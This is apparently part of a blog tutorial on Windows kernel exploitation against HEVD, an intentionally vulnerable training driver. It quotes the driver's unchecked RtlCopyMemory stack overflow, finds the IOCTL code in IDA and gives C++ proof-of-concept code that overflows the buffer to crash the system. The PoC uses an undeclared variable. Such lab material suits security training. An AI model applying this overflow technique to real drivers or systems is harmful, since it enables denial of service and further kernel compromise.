Windows Kernel Exploitation With Hevd Part 2
In the previous part we have seen how to install the vulnerable driver and setup the debugging environment , now it’s time to find the bug , there is a plenty of vulnerability on HEVD , but in this tutorial we will focus on Stackoverflow.
Finding the bug and bsoding the system
Here you’ll find the relevent source for the stackoverflow vulnerability provided by hacksys , they have done a great job by showing the vulnerability the safe way into processing userbuffer .
NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
NTSTATUS Status = STATUS_SUCCESS;
ULONG KernelBuffer[BUFFER_SIZE] = {0};
PAGED_CODE();
__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
// there will be no overflow
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Stack Overflow\n");
// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
// because the developer is passing the user supplied size directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of KernelBuffer
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
Like you can see in the secure mode
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
the size of the copied Userbuffer is exactly the size of the Kernelbuffer
where in the vulnerable one
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
RtlCopyMemory use the size value passed on by the user , so if the user passe a size greater than the kernelbuffer size stackoverflow will occure ,and the system will crash .
Understading how User land interact with kernel concerning Windows drivers
When we want communicate with a windows driver a user has to get a handle to the concerned driver in our case its HEVD by using the Windows API CreateFile, this fucntion will return a handle to our lovely driver.
now things get’s interesting once we got the handle we can speak to our driver using the followong windows API function
BOOL WINAPI DeviceIoControl(
_In_ HANDLE hDevice,
_In_ DWORD dwIoControlCode,
_In_opt_ LPVOID lpInBuffer,
_In_ DWORD nInBufferSize,
_Out_opt_ LPVOID lpOutBuffer,
_In_ DWORD nOutBufferSize,
_Out_opt_ LPDWORD lpBytesReturned,
_Inout_opt_ LPOVERLAPPED lpOverlapped
);
the seconde parameter (dwIoControlCode) is DWORD IOCTL code for the function that we are going to send our buffer to , since we want to send our bad buffer to the stackoverflow vulnerable function, we need to find the fucntion IOCTL code or we are dommed . there are severale methods to find those codes ,but the one i prefere the most and widely used is by reversing the driver using IDA and finding the IrpDeviceIoCtlHandler wich contain all the functions IOCTL codes .
the IrpDeviceIoCtlHandler IDA graphe overwiew look like this
Looking to the left you will find a IOCTL 222003h that if is the same as the one provided by the user it will take us the the vulnerable function
Great !
the called function is TriggerStackOverflow
you’ll see that the kernel buffer length passed to ProbeForRead function is 800h , so if we send more than that size we will get BSOD .
let’s verify that by writing this simple C++ code
#include "stdafx.h"
#include "windows.h"
int main()
{
HANDLE hDevice = NULL;
LPCWSTR DeviceName = TEXT("\\\\.\\HacksysExtremeVulnerableDriver");
//Obtaining a handle to the device
hDevice = CreateFile(DeviceName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("We could't get a valid handle");
return -1;
}
// Buffer that will be sent to the driver
char buffer[2056];
// sending buffer filled with A's
memset(buffer, 0x41, 2056);
BOOL deviceioctl = DeviceIoControl(hDevice, 0x222003, buffer, 2056, NULL, 0, &returnedbytes, NULL);
if (deviceioctl == 0) {
printf("we couldn't send Device Control");
CloseHandle(hDevice);
return -1;
}
return 0 ;
}